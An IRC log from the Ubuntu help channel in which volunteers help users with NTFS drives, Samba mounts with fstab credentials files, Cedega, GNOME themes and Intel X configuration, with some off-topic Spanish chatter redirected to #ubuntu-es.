[05:25] <Dr_Willis> paganini,  run that gnome-theme selector  tool as root.  is one way.. OR better way - dont worry about it. Lol.
[05:25] <paganini> Hehe
[05:25] <paganini> Thanks
[05:25] <paganini> :)
[05:25] <DBO> can someone help me?
[05:25] <DBO> =)
[05:25] <nickrud> incorrect: they took stuff from unstable, up the freeze
[05:25] <edan> Jhair, i need a comiler
[05:26] <gnomefreak> ty nickrud i think it worked
[05:26] <shavvn> please could someone tell me how to reconfigure themes or something, changing the settings does nothing :(
[05:26] <DJAdmiral> i need help please! i have an external hard disk that ubuntu identifies, but i can't create any folders on it. help!
[05:26] <gnomefreak> nickrud: that they did but etch is a different unstable than dapper is IMO
[05:26] <incorrect> you see debian is shipping with a horribly bugged version of net-snmpd, seems that all debian based distro's ship with it
[05:26] <Jhair> edan: emu8086 isn't a compiler AFAIK....
[05:26] <_jason> DBO: what type of videos
[05:26] <novem> is there even a manager utillity for gnome keyring?
[05:26] <DBO> _jason: mpeg, avi, the whole shoot really
[05:26] <novem> this is driving me nuts
[05:27] <nickrud> gnomefreak: after the freeze, yes (not counting their own patches)
[05:27] <incorrect> i thought emu8086 with an XT emulator :S
[05:27] <_jason> ubotu: tell DBO about multimedia
[05:27] <edan> Jhair, its not?
[05:27] <gnomefreak> novem: yes its in synaptic i think its gnome-keyring
[05:27] <Dr_Willis> DJAdmiral,  what file system is on it?
[05:27] <novem> thanks
[05:27] <DJAdmiral> dr_willis: i'm not sure, how do i find that out?
[05:27] <DJAdmiral> dr_willis: it's a usb external hard disk by the way
[05:28] <DBO> _jason: I will tell you how that goes, thank you
[05:28] <Dr_Willis> DJAdmiral,  'fdisk -l /dev/sd#' where sd# is the proper dev name of the device
[05:28] <Jhair> edan: no, it is a 8086 emulator with integrated assembler
[05:28] <Dr_Willis> DJAdmiral,  has it beenused under windows befor?
[05:28] <novem> thats strange, its installed, gnome-keyring returns nothing in bash?
[05:28] <DJAdmiral> dr_willis: yes
[05:29] <hurax> someone can help me?
[05:29] <edan> Jhair, oo so i gess i need an emulator
[05:29] <kingspawn> hurax: mostly likely
[05:29] <Dr_Willis> DJAdmiral,  then i would guess its either NTFS or VFAT for the filesystem
[05:29] <Dr_Willis> !ntfs
[05:29] <ubotu> well, ntfs is the filesystem used in Windows NT and newer; to automatically mount your NTFS partition: https://wiki.ubuntu.com/AutomaticallyMountMSWindowsPartitions
[05:29] <gnomefreak> novem: i thought that was the name run apt-cache search gnome-keyring
[05:29] <DJAdmiral> dr_willis: it was formatted under windows xp
[05:30] <hurax> was asking whether 32-bit x86 programs run under an amd64 ubuntu
[05:30] <novem> gnomefreak: it is the correct name.
[05:30] <DJAdmiral> dr_willis: however the hard disk can READ. I just need to write to it.
[05:30] <ribaldjester> I've setup fetchmail to grab email from Gmail. I don't have Mutt or Postfix or anything setup - I just wanted to try out fetchmail. It worked, but now I have no idea where the emails were downloaded to?!  :)
[05:30] <Dr_Willis> DJAdmiral,  check out that !ntfs message/url - thers some other wiki/forum pages that discuss what going on in detail. You see the files? but cant make changes? or whats the exact problem?
[05:30] <gnomefreak> its gnome-keyring
[05:30] <ribaldjester> no mail folder under my user account.  nothing under /var/mail either...
[05:30] <LethalSword> whats a good program to install Windows games on ubuntu?
[05:30] <mephis1987> hello , can any 1 tell me how to install a package if i have a .deb file
[05:30] <Dr_Willis> DJAdmiral,  Writing to a NTFS partition - is not 'safe'
[05:30] <nickrud> hurax: there are ways of doing that, none of which are trivial
[05:30] <paganini> Dr_Willis: Sweet! All fixed!
[05:31] <novem> gnomefreak: yes, but Is there a manager app to change my keyring password, or anything? if so how do i get to it?
[05:31] <gnomefreak> novem: or there is alway gnome-keyring-manager
[05:31] <KakiPukul> LethalSword: : cedega
[05:31] <AndiM> hurax: yup, there are 32bit compatibility system libraries, but at least 32bit Wine is an issue.
[05:31] <Dr_Willis> paganini,  kicking.. wha twas the propblem? i forget.. Lol.
[05:31] <paganini> LOL
[05:31] <juhan> mephis1987: sudo dpkg -i *.deb
[05:31] <gnomefreak> novem: sudo apt-get install gnome-keyring-manager
[05:31] <DJAdmiral> dr_willis: the exact problem is I need to copy files to it. it refuses to copy.
[05:31] <LethalSword> KakiPukul i did get that but ubuntu wouldnt allow me to open it
[05:31] <hurax> ok, thanks
[05:31] <LethalSword> :S
[05:31] <mephis1987> juhan, thanks
[05:31] <KakiPukul> note cedega is still in development, it may suck at playing purely DirectX based games :)
[05:31] <paganini> So Synaptic looks like the rest of my system now
[05:31] <DJAdmiral> dr_willis: i'm checking out the link now
[05:31] <gnomefreak> novem: make sure you have universe enabled
[05:31] <KakiPukul> ubuntu's evil then, LethalSword :)
[05:32] <LethalSword> it said that it would have security risks
[05:32] <Dr_Willis> DJAdmiral,  writing to NTFS partitions is a 'work in progress' i hear that dapper can do it.. but no idea if it can, or how safe it is.
[05:32] <paganini> For my next question: After the GDM login screen there's a little splash window that displays some icons to show you what parts of your system are coming up. How do you customize that in GNOME?
[05:32] <Dr_Willis> paganini,  its in the conrtol-panel thinggies.. :P
[05:33] <Dr_Willis> paganini,  'gnome-splash' or somthing I think.
[05:33] <DJAdmiral> dr_willis: if writing to external hard disks at this moment is 'unsafe' then i guess i have no exact option to use it. it's my dad's. if it screws up, i'm toast.
[05:33] <kingspawn> DJAdmiral: I'd stay off the writing to ntfs, yes
[05:33] <LethalSword> KakiPukul should i get Cedega again from a torrent maybe?
[05:33] <hurax> and is it better to start with ubuntu or kubuntu if i want to have both gnome and kde? i'm used to kde but would like to try gome too
[05:33] <Dr_Willis> DJAdmiral,  yep.. sounds like  best to do READ ONLY then.
[05:33] <gnomefreak> system>preff>splash screen   if you have splash screen manger installed or gnome-art
[05:34] <Dr_Willis> hurax,  dosent matter.. i normally install UBUNTu - then apt-get install kubuntu-desktop , first thing.
[05:34] <KakiPukul> LethalSword: , read cedega related forums, before actually using it...
[05:34] <DJAdmiral> kingspawn, Dr_Willis: crap. looks like i have no way to backup my data now :(
[05:34] <hurax> thanks willis
[05:34] <paganini> Dr_Willis: Aha! I don't have the splash screen manager installed for some reason
[05:34] <Dr_Willis> DJAdmiral,  backing up TO a usb ntfs - not good idea.
[05:34] <kingspawn> DJAdmiral: copy the stuff on the usbdrive to your disk, reformat the usbdrive to FAT32, and start writing
[05:34] <LethalSword> where are the cedega related forums?
[05:34] <paganini> TYVM! Everything is cool now!
[05:34] <kingspawn> DJAdmiral: its only NTFS thats got a problem
[05:34] <gnomefreak> paganini: gnome-art will install a few of those type apps
[05:34] <paganini> :)
[05:34] <Dr_Willis> LethalSword,  cedega homepage has ooodles of them.
[05:35] <KakiPukul> LethalSword: : the evil Google will help you find them...
[05:35] <Dr_Willis> LethalSword,  but they mey be for paying customers only. Not sure.
[05:35] <DJAdmiral> kingspawn: i can't reformat it. my dad won't let me.
[05:35] <guest_> hi xx
[05:35] <kingspawn> DJAdmiral: it will be the same as before, after yo uhave copied everything that was on it BACK
[05:35] <DJAdmiral> kingspawn: looks like im pretty much toast :(
[05:35] <LethalSword> yea they are for only pay
[05:36] <kingspawn> DJAdmiral: 1) copy data on usb to regular comp. 2) reformat usb to a format that works perfectly in WinXP (FAT32) 3) copy data from comp to usb again
[05:36] <Spde> Im trying to mount a samba filsystem in another ubuntu comp..  keep getting "12736: session setup failed: ERRDOS - ERRnoaccess (Access denied.) after typing in the password.. command (sudo smbmount //ip/folder /mnt/test username=spde) Plese help me =)
[05:36] <kingspawn> your dad will prolly never know
[05:36] <DJAdmiral> kingspawn: i know that, duh, but my dad knows that my hard disk is totally messed up.
[05:36] <DJAdmiral> kingspawn: oh he will know
[05:36] <DJAdmiral> kingspawn: trust me
[05:36] <kingspawn> im not sure what that means, but then youre toast, yes.
[05:36] <Dr_Willis> DJAdmiral,  how about this - install that tool that lets WindowsXP read/write Ext2/3 and use XP to backup your data.
[05:37] <LethalSword> Should  i get the .deb package of Cedega
[05:37] <novem> alright, i still cant figure out how to change the damn keyring password
[05:37] <DJAdmiral> dr_willis, kingspawn: the problem is my computer cannot run windows xp.
[05:37] <Tomcat_> Spde: Try adding the password after username... like "username=spde,password=mypass"
[05:37] <novem> i have both manager and services/client installed for gnome-keyring
[05:37] <Dr_Willis> DJAdmiral,  http://www.fs-driver.org/index.html
[05:37] <juhan> paganini: what did you use for changing the theme? sudo gnome-theme-manager doesn't change anything for me
[05:37] <Dr_Willis> DJAdmiral,  what is it running then?
[05:37] <novem> where do i edit keyring passwords?
[05:37] <Jhair> Spde: is the smbfs kernel module active (what does lsmod | grep smb say?)
[05:37] <DJAdmiral> dr_willis, kingspawn: it cannot handle windows xp. it runs on winme
[05:37] <Tomcat_> Spde: If that doesn't work, I guess the share is not correctly configured.
[05:37] <Dr_Willis> DJAdmiral,  Ick!
[05:37] <Tomcat_> novem: gnome-keyring-manager
[05:37] <kingspawn> DJAdmiral: seems some kind of setup you've got there
[05:37] <Frogzoo> !themes
[05:37] <Tomcat_> novem: Or rather... what keyring? :D
[05:38] <Dr_Willis> actually theres that 'ext2explorer' program that i think can do ext2 read only...
[05:38] <novem> Tomcat_: why does that command return not found?
[05:38] <DJAdmiral> dr_willis, kingspawn: ick is right. and now winme is not booting.
[05:38] <Tomcat_> novem: Not installed maybe?
[05:38] <Dr_Willis> DJAdmiral,  if that usb drive is NTFS then windowsme - cant read it either.
[05:38] <mephis1987_> can any 1 guide me how to mount NTFS partition such as C and D: ?
[05:38] <novem> Tomcat_: definitally installed
[05:38] <Dr_Willis> DJAdmiral,  if that usb drive is VFAT then linux Can read/wriote to it.
[05:38] <mephis1987_> is there some kind of script to do that
[05:38] <novem> could be a problem with dapper
[05:38] <Dr_Willis> mephis1987_,  the idea of C: and D: dont apply.
[05:38] <Dr_Willis> !ntfs
[05:38] <kingspawn> DJAdmiral: have you tried writing to it as root? i believe mounted devices are mounted with no write-access for regular users
[05:38] <LethalSword> Should i get the .deb package for Cedega
[05:38] <ubotu> well, ntfs is the filesystem used in Windows NT and newer; to automatically mount your NTFS partition: https://wiki.ubuntu.com/AutomaticallyMountMSWindowsPartitions
[05:38] <LethalSword> !rpm
[05:38] <ubotu> somebody said rpm was the Redhat Package Management file. Very similar to Debians DEB files, but require alien to install. ask me about !alien
[05:39] <katarot> where can i learn the commands used in the terminal
[05:39] <Tomcat_> novem: Typo maybe? I have it installed as well and the command is available.
[05:39] <DJAdmiral> dr_willis, kingspawn: at the moment my winme cannot even recognise the external hard disk.
[05:39] <Dr_Willis> katarot,  google is your friend.. "google for bash tutorials"
[05:39] <LethalSword> !alien
[05:39] <ubotu> from memory, alien is a program to convert RPMs to DEBs. Its use is discouraged, as it could create serious problems. Website: http://www.kitenet.net/programs/alien/
[05:39] <mephis1987_> Dr_Willis, yes i know
[05:39] <mephis1987_> sorry for that
[05:39] <novem> Tomcat_: definitally not mistyping 20x times in a row :(
[05:39] <gnomefreak> heres a stupid question what is scim?
[05:39] <LethalSword> !moo
[05:39] <ubotu> LethalSword: Some people juggle geese. Try searching at http://ubuntu.cc.com.au/
[05:39] <Dr_Willis> DJAdmiral,  use mount, and 'fdisk -l' and see what file system the thing is.
[05:39] <DJAdmiral> kingspawn: that is a good idea. let me try that
[05:39] <mephis1987_> but do u know how to mount ntfs partitions ?
[05:40] <nickrud> !scim
[05:40] <ubotu> scim is, like, totally, Chinese, Japanese, Korean, Language input. http://www.mrbass.org/linux/ubuntu/scim/
[05:40] <Frogzoo> katarot: ls /bin & /usr/bin & work through the manpages with man
[05:40] <mephis1987_> !ntfs
[05:40] <ubotu> hmm... ntfs is the filesystem used in Windows NT and newer; to automatically mount your NTFS partition: https://wiki.ubuntu.com/AutomaticallyMountMSWindowsPartitions
[05:40] <Dr_Willis> mephis1987_,  same as any othe rpartition.
[05:40] <Tomcat_> novem: dpkg -l gnome-keyring-manager <--- That command returns what?
[05:40] <KakiPukul> !uim
[05:40] <ubotu> No idea, try searching at http://ubuntu.cc.com.au/, KakiPukul
[05:40] <Zonny> hm, do you guys know is easy ubuntu working with dapper?
[05:40] <LethalSword> !tell LethalSword about terminal
[05:40] <coredump> hi
[05:40] <nickrud> !info gnome-uim
[05:40] <gnomefreak> ty nickrud
[05:40] <DJAdmiral> dr_willis, kingspawn: everybody, the thing is MOUNTED. i can read from it. the problem is i can't write to it. in either case i'm logging on root now. i'll be back in a few minutes
[05:40] <DogWater> Howdy anyone know of any problems with GDM and 945G?
[05:41] <DogWater> I just got an inspiron 6400 and I tried installing ubuntu on it and i was sad to find out that gdm doesnt work on it.
[05:41] <Spde> Jhair: lsmod | grep smb returns nothing
[05:41] <LethalSword> how do i install cedega
[05:41] <DBO> _jason: it worked, thank you
[05:41] <LethalSword> i got a good package and extracted it
[05:41] <gnomefreak> !cedega
[05:41] <LethalSword> but theres more packages
[05:41] <alex6z> DogWater, what is this issue with gdm and login managers?
[05:41] <Dr_Willis> The cedega homepage has docs. :P
[05:41] <AndiM> DogWater: what does gdm have to do with a specific machine? not much, if you ask me... you mean the X server doesn't start properly?
[05:42] <gnomefreak> ubotu tell LethalSword about cedega
[05:42] <alex6z> DogWater, I mean graphics hardware
[05:42] <Jhair> Spde: what does sudo modprobe smbfs.ko do?
[05:42] <Dr_Willis> it needed some xlib package last i installed cedega - as well
[05:42] <KakiPukul> GDM works if X works
[05:42] <alex6z> Jhair, loads that module into the kernel
[05:42] <DogWater> alex6z: well i just got a totally brand new Dell laptop its an inspiron 6400 it has the Intel 945G
[05:42] <Jhair> alex6z: I know :)
[05:42] <gnomefreak> if his gdm isnt messed up
[05:42] <coredump> .oart
[05:42] <DogWater> and I just installed ubuntu and didnt change any of the default settings
[05:43] <Jhair> alex6z: I am asking Spde what does it on his machine, if it gives an error...
[05:43] <Spde> Jhair: FATAL: moduele smbfs.ko not found
[05:43] <alex6z> Jhair, ok :)
[05:43] <Tadej`Certanc> hello
[05:43] <DogWater> I was also trying to find out if anyone knows if the dell truemobile card was supported?
[05:43] <gnomefreak> DogWater: do you have any graphical desktop?
[05:43] <Tadej`Certanc> how can I make samba open port only on eth1?
[05:43] <jadaz87> hello everyone i was wondering how do you mount a hard drive or does linux do it for you automatically?
[05:43] <gnomefreak> !hardware
[05:43] <ubotu> hmm... hardware is https://wiki.ubuntu.com/HardwareSupport
[05:43] <DogWater> well when it starts up it tells me that GDM is disabled.. I'm a linux system administrator who has never used Linux as a desktop before.. so its kind of a funny paradigm...
[05:44] <_jason> jadaz87: what filesystem?
[05:44] <gnomefreak> ^^^ will tell you if its supported
[05:44] <Jhair> Spde: ugh. did you compiled that kernel by yourself? Or is the ubuntu kernel...
[05:44] <jadaz87> well ntfs but i am going to convert it to fat32
[05:44] <DogWater> I guess I could get by just using it in the shell.
[05:44] <DogWater> but then I may as well just use windows.
[05:44] <Spde> Jhair: its the ubuntu kernel
[05:44] <Dr_Willis> jadaz87,  you can mount it manually of course.. then some disrtos/window managers can doit auto-matitially
[05:44] <jadaz87> because i do not think i can convert from ntfs to ext3
[05:44] <gnomefreak> DogWater:  read teh link above to find out if supported
[05:44] <DBO> jadaz
[05:44] <DBO> to do NTFS
[05:44] <DBO> http://ubuntuguide.org/#mountunmountntfs
[05:44] <Jhair> Spde: could you try without the .ko extension?
[05:45] <DogWater> doesnt even mention this one lol
[05:45] <DogWater> guess windows it is :-)
[05:45] <gnomefreak> DBO: no please dont recommend that
[05:45] <Spde> Jhair: i can share to windows computers whit samba from the file server and the one i want to mount in
[05:45] <DBO> why? worked for me?
[05:45] <juhan> jadaz87: better fat32 in case you want to use it with windows again
[05:45] <_jason> DogWater: hmm what vid card does it have?
[05:45] <gnomefreak> !ubuntuguide
[05:45] <ubotu> from memory, ubuntuguide is out of date, reported to break a lot and generally a bad source for information. Use help.ubuntu.com or wiki.ubuntu.com instead
[05:45] <DogWater> 945G
[05:45] <DogWater> Intel
[05:45] <nickrud> DogWater: what exact error was that with gdm again?
[05:45] <DBO> oh I see
[05:45] <Spde> Jhair: returns nothing whitout the .ko
[05:45] <Dr_Willis> DBO,  ubuntuguide.org is rather out of date in Many 'bad' ways.
[05:45] <jadaz87> ok thanks let me convert it now
[05:45] <DogWater> hang on i'll upload the log
[05:46] <nickrud> DogWater: don't paste it here :)
[05:46] <Jhair> Spde: ok, could you try the lsmod .. thing again? is the module there?
[05:46] <kingspawn> DBO: help.ubuntu.com will usually answer
[05:46] <DogWater> upload generally indicates i'll transfer it somewhere
[05:46] <z33> How do I go about installing ubuntu over a current linux partition? I have a dual boot setup with fedora/WinXP and I want to get rid of Fedora and not lose the ability to boot to my WinXP partition
[05:46] <Spde> Jhair: yes it is
[05:46] <nickrud> DogWater: np, just being sure :)
[05:46] <Jhair> Spde: does smbmount give the same error now?
[05:47] <balmu> hola
[05:47] <Dr_Willis> z33 you can be sure to tell the ubuntu installer what parttion to install to, and let it format it..
[05:47] <mana> ola
[05:47] <DJAdmiral> not. working.
[05:47] <ppastor> olaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[05:48] <Dr_Willis> z33,  be 'carefull' :P dont tell it to use the whole drive, or the wrong partition.
[05:48] <KakiPukul> !es
[05:48] <ubotu> Hispanohablantes: Por favor usen #ubuntu-es, #kubuntu-es o #edubuntu-es, alli obtendran mas ayuda.
[05:48] <mana> que tal estais pipis
[05:48] <Spde> Jhair: yep, im staring to think it has something to do whit the samba share config.. smbclient //ip/user -U spde works perfectly
[05:48] <DJAdmiral> not working!
[05:48] <Dr_Willis> DJAdmiral,  phrases like "not working" are sort of useless. :P
[05:48] <fcarde> marina
[05:48] <Dr_Willis> DJAdmiral,  also you dident need to 'reboot' to change to the root user. (which i think you did)
[05:48] <fcarde> violeta
[05:48] <ppastor> olaaaaaaaaaaa cacas
[05:48] <Jhair> Spde: you are right, I think I was completely missleaded :(
[05:48] <DJAdmiral> i hadn't rebooted
[05:48] <DJAdmiral> i logged out
[05:49] <jadaz87> oh man i love partition magic
[05:49] <ppastor> que tal estais cacas
[05:49] <fcarde> violeta
[05:49] <Gambit-> hey anyone do squid integration with clamav successfully?  What tools?  How?
[05:49] <wvelez> mana: marchate a #ubuntu-es que ahi de seguro encuentras pipis
[05:49] <Spde> Jhair: oh, sorry about that.. you know what it is? that makes me able to brows and so but not to mount?
[05:49] <ppastor> no hableis en ingles porfi
[05:49] <DogWater> www.systemadminihater.com/Xorg.0.log
[05:50] <DogWater> thats my x logfile
[05:50] <wvelez> aqui se habla ingles pisha
[05:50] <DogWater> if anyone cares
[05:50] <DogWater> :d
[05:50] <balmu> hol
[05:50] <z33> Dr_Willus, should I go under 'Manually edit partition table' and then select the lvm partition? I see 3 partitions, prim 1 which is windows, prim 2 which is only 107MB and is ext3 which I believe is the boot loader, and prim 3 which is lvm.
[05:50] <Dr_Willis> z33,  i never use lvm. i just use a single partition.
[05:50] <KakiPukul> DogWater: : technically we don't, but we have ego to take care of :)
[05:51] <juhan> ppastor: que necesitas?
[05:51] <ppastor> churras
[05:51] <Dr_Willis> z33,  #2 sounds like a swap parttion. #3 sounds like your main fedora partition.
[05:51] <_jason> DogWater: can you put /etc/X11/xorg.conf on there too?
[05:51] <Jhair> Spde: could you write the *exact* command line you are using? you can replace the IP address with Xs of course.
[05:51] <DogWater> oh, well i only chose ubuntu because i heard its rad, and we want to be the first dedicated server provider to offer it as an option to our clients :D
[05:51] <DogWater> sure _jason
[05:51] <ppastor> nada nada letritas rojas
[05:51] <nickrud> DogWater: Does your xorg.conf mention PCI: (0:2:1) ? the log mentions 0:2:0 as well
[05:52] <redguy> Dr_Willis: a swap partition with ext3 on it? that would be really odd
[05:52] <juhan> ppastor: este canal es en ingles, lo siento
[05:52] <Jhair> ppastor: don't write in spanish. stop now.
[05:52] <KakiPukul> DogWater: : "dpkg-reconfigure xserver-xorg"?
[05:52] <redguy> z33: #2 is propably the /boot partition
[05:52] <Dr_Willis> redguy,  107mb - seems odd sized as well.
[05:52] <juhan> Jhair: no need to get angry
[05:52] <redguy> Dr_Willis: not for /boot
[05:52] <Dr_Willis> redguy,  where is his swap then? :P on the lvm?
[05:52] <redguy> Dr_Willis: why not?
[05:52] <z33> red, thats what I assumed, but I am not too familiar with partitioning.
[05:53] <DogWater> KakiPukul: my card isnt listed
[05:53] <Dr_Willis> z33,  sounds like you can delete #2 and #3
[05:53] <KakiPukul> I810: Driver for Intel Integrated Graphics >> no problem with driver... just misconfigured pci location
[05:53] <Spde> Jhair: sudo smbclient //192.168.0.55/spde -U spde (works) and sudo smbmount //192.168.0.55/spde /mnt/test/ username=spde (dosnt work)
[05:53] <rosa> haalo
[05:53] <DogWater> ohh the 945 is bundled in the 810
[05:53] <DogWater> gotcha
[05:53] <DogWater> nevermind ;-0
[05:53] <xsmogx> What would the command be to edit the host.deny and host.allow files
[05:53] <ppastor> no porfius no hableis en ingles no sabes hablar en espaol
[05:54] <Spde> Jhair: it works!
[05:54] <DogWater> is there anyway to tell if the card is actually on PCI:0:2:0 ?
[05:54] <Spde> Jhair: i had missed the -o flag
[05:54] <KakiPukul> xsmogx: : you can use any text editor, senor
[05:54] <nickrud> DogWater: lspci
[05:54] <KakiPukul> DogWater: : that's the controller location, the card is +1
[05:54] <xsmogx> I would need to login as root correct?
[05:54] <techrush> programming is hard
[05:54] <z33> Dr_Willis, the thing is, when I go into winXP and look at it with Partition Magic, it only shows up as 2 partitions, not to mention the #2 is labeled hda2 and #3 which is the primary fedora partition is not labeled, I believe they are connected
[05:54] <techrush> reminds me of math class :(
[05:54] <KakiPukul> BusID PCI:0:2:1 [05:55] <DogWater> it is pci 2
[05:55] <DogWater> hmm
[05:55] <nickrud> techrush: that's why I got out of programming, I didn't want any more math :)
[05:55] <Jhair> Spde: uh? cool, what was the problem?
[05:55] <Jhair> Spde: oh the -o option!
[05:55] <Dr_Willis> z33,  XP likes to hide things it dont know about.
[05:55] <Jhair> Spde: :)
[05:55] <KakiPukul> DogWater: : "dpkg-reconfigure xserver-xorg"? tried this yet?
[05:55] <techrush> yeah i thought i was interested in it at 1st but now im having second thoughts
[05:55] <redguy> z33: PM doesn't propably know anything about LVM
[05:55] <Spde> Jhair: yeh, spend 3h on this =) sooo annoying, thanks for your help anywayy
[05:55] <Dr_Willis> z33,  boot to fedora and look at its fstab/mount command and see what partitions are where.
[05:55] <Jhair> Spde: ok
[05:56] <z33> Dr_Willis, I am just worried about deleting the boot loader and losing my ability to boot into either OS, but im sure there is an option further into the installation to install ubuntu's boot loader
[05:56] <Dr_Willis> I never use partiton magic any more.. live cd + qt_parted or Gparted - works forme.
[05:56] <ppastor> que no hableis en ingleeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeees
[05:56] <nickrud> techrush: system admin takes *much* less math, and you get to mess around with programmers heads (or so I hear)
[05:56] <nickrud> !es
[05:56] <ubotu> Hispanohablantes: Por favor usen #ubuntu-es, #kubuntu-es o #edubuntu-es, alli obtendran mas ayuda.
[05:56] <Dr_Willis> !es
[05:56] <_jason> ppastor: /join #ubuntu-es
[05:56] <Dr_Willis> lol
[05:56] <Jhair> ppastor: I told you ONCE! stop.
[05:56] <Spde> Jhair: btw, you know how i can make it mount eveytime i boot?
[05:57] <DogWater> well i went through the config and hit enter about 30 times lol
[05:57] <DogWater> i know absolutely nothing about x
[05:57] <Jhair> Spde: AFAIK you need to put an entry in the /etc/fstab file
[05:57] <LethalSword> yay i installed cedega by myself
[05:57] <LethalSword> haha
[05:57] <nickrud> DogWater: pop that new xorg.conf up on a pastebin
[05:57] <Dr_Willis> LethalSword,  now ya gotta figure out how to use it.,
[05:57] <Dr_Willis> :P
[05:57] <LethalSword> umm can anybody help me uninstalling a crossover application
[05:58] <KakiPukul> DogWater: : X is mysterious :)
[05:58] <juhan> LethalSword:  i thought you just need to delete the folder
[05:58] <Spde> Jhair: sorry i don't relly get that? =S
[05:58] <LethalSword> ok
[05:58] <juhan> LethalSword: but i might be wrong
[05:58] <DogWater> i like how bluetooth gives me what looks like a 'panic' or a sighup every time the box boots up ;-)
[05:58] <LethalSword> meh
[05:58] <DogWater> bah its still not booting up ;-)
[05:58] <Spde> Jhair: shall i simply put the command in the /etc/fstab file?
[05:59] <DogWater> err, it boots i mean its just not launching X
[05:59] <fcarde> 
[05:59] <Jhair> Spde: no you need an special format, the username and password should be put in a credentials file, see the smbmount man page for the credentials option
[05:59] <_jason> DogWater: use VESA as the video driver and see if that at least gets you X
[05:59] <DogWater> are the files im uploading to Sysadminihater readable to you fellas?
[05:59] <KakiPukul> VGA rocks! :)
[05:59] <nickrud> DogWater: the log was
[06:00] <Jhair> Spde: but basically you need to put //server/share /mnt/mountpoint smbfs credentials=credentials_file 0 0
[06:00] <Spde> Jhair: what dose the 0 0 stand for? =S
[06:01] <jadaz87> Dr_Willis it will not format it automatically whould it?
[06:01] <juhan>  /join #ubuntu-es
[06:01] <Dr_Willis> jadaz87,  huh?
[06:02] <DogWater> http://www.systemadminihater.com/xorg.conf and Xorg.0.log
[06:02] <DogWater> if anyone has any further cloes
[06:02] <DogWater> thats since i ran the reconfigure
[06:02] <KakiPukul> DogWater: : I know one good hardware-detecting distro, tried "PCLinux" before? it even detected wifi USB adapter like RT2700
[06:02] <jadaz87> Dr_Willis you said that some version can automount but it whould not auto format whould it?
[06:02] <Spde> Spde: so the user and password is in plaintext but in a "credential" file? how dose that work =S
[06:02] <DogWater> If this doesnt work i might just wait until the next 6month release of buntu
[06:02] <DogWater> err ubuntu
[06:02] <DogWater> and stick with xppro
[06:03] <Dr_Willis> jadaz87,  you are refering to the automounting of drives by the window manager/linux ?
[06:03] <KakiPukul> XP Pro rocks...
[06:03] <Jhair> Spde: those fields are not critical, the first 0 is for dumping filesystems and the second 0 is a number to identify the order the filesystems should be mounted
[06:03] <magenet> say that again
[06:03] <jadaz87> Dr_willis yes
[06:03] <Jhair> Spde: 0 0 are sane values
[06:03] <ribaldjester> anyone here have experience with fetchmail?
[06:03] <Dr_Willis> jadaz87,  no auto-formating.
[06:03] <nickrud> DogWater: I get the wrong page with xorg.conf
[06:04] <DogWater> nickrud: oh sorry, try now.
[06:05] <Spde> Jhair: ok, but i dont get what a credential file is? i mean how is that protected more then just the /etc/fstab ?
[06:05] <Ashly> How do I switch from gnome to kde? :P
[06:05] <cas> any ubuntu ircops availible?
[06:05] <asafdsa> hi peeps, just trying out ubuntu and apt-get install php doesn't work
[06:05] <kingspawn> Jhair: i thought the second number in fstab was for determining which filesystem is checked first (etc..) by fsck
[06:05] <asafdsa> do I need to add some other sources?
[06:05] <_jason> Ashly: sudo aptitude install kubuntu-desktop, will get you kde.  removing gnome is a bit more difficult
[06:05] <Jhair> Spde: the smbmount man page recommends the use of credentials files for inclusion of the file system in /etc/fstab, I don't have a rationale for that now, but I believe the man page authors :)
[06:05] <Dr_Willis> Ashly,  install kubuntu-desktop, then on the login screen theres a menu you select which one to use
[06:05] <jadaz87> Dr_Willis thank you so much my last question is how do i know what it mounted it as the pointer name like (/, /mythtv)
[06:06] <Dr_Willis> jadaz87,  the 'mount' command tells you
[06:06] <KakiPukul> Ashly:  "dpkg-reconfigure kdm"? or just logout and Select KDE and make session as default
[06:06] <Jhair> Spde: as stated in the man page you can protect the file given it the right permissions (i.e. it should not be world readable).
[06:06] <Ashly> _jason and dr_Willis, thanks, and _jason had no plans on removeing gnome :)
[06:06] <Jhair> s/given/giving
[06:06] <jadaz87> Dr_Willis so just type mount at terminal and it will list them?
[06:06] <Spde> Jhair: so i just make a ordernaty text file that i hide and grant no access to? and link to it in the credentials=whereitis?
[06:06] <nickrud> DogWater: ok, I'm paddling over my head here, I would expect 0:2:1 to be ignored, since it's not mentioned in the xorg.conf
[06:07] <Jhair> Spde: I think it is because /etc/fstab is usualy world readable
[06:07] <Jhair> Spde: exactly
[06:07] <Dr_Willis> jadaz87,  it would of been faster if you had tried that. :) then asking. LOL...
[06:07] <Spde> Jhair: thanks a lot for all the help!
[06:07] <Dr_Willis> jadaz87,  try it and see. :P
[06:07] <Jhair> Spde: you are welcome!
[06:07] <asafdsa> in fact, a lot of the development stuff seems to be missing from the default ubuntu install :(
[06:08] <KakiPukul> asafdsa: "build-essential"
[06:08] <jadaz87> Dr_Willis i did not there is a line that says /mnt/auto is that the hd drive?
[06:09] <Dr_Willis> jadaz87,  you are using ubuntu? normally eveyrthing is in /media/
[06:09] <LethalSword> how do you install a game with Cedega
[06:09] <z33> If I deleted a partition and would like to install Ubuntu to that free space, do I create a new partition with that free space or do I use Auto partion the free space? If I auto partition it the 'smiley' on my winXP partition goes away, does that mean it will overwrite it?
[06:09] <_jason> DogWater: did you try using VESA as the video driver?
[06:10] <DogWater> if i do a lspci it says 0000:00:02.1 display controller: intel corp: unknown device 27a6 (rev 03)
[06:10] <jadaz87> Dr_Willis no knoppmyth i was going to use ubuntu and then myth over it but i whould have an extremely hard time as you can see i am early user of linux
[06:10] <LethalSword> Can anybody help me how to install with Cedeg
[06:10] <LethalSword> a
[06:10] <asafdsa> KakiPukul, will that provide the links to php? apt-get install php4 would be nice.  I wondered if I need to edit the list of servers to get packages from
[06:11] <LethalSword> anyone?
[06:11] <Random_Transit> hey...is GNOME 2.14 available in the breezy repos yet?
[06:11] <_jason> ubotu: tell asafdsa about lamp
[06:11] <Dr_Willis> jadaz87,  googling for a few of the 'mount drive linux' tutorials will explain how things work. its rather simple. :P
[06:11] <KakiPukul> there's a lot of PHP/PHP=related packages.... you just know where to look at
[06:11] <Dr_Willis> jadaz87,  its when things start auto-mounting that it can get confusing.
[06:11] <LethalSword> !tell LethalSword about cedega
[06:11] <Jhair> Random_Transit: wasn't gnome 2.14 released until today!?
[06:12] <andrewPCT> Jhair: yesterday
[06:12] <jadaz87> Dr_willis of ok
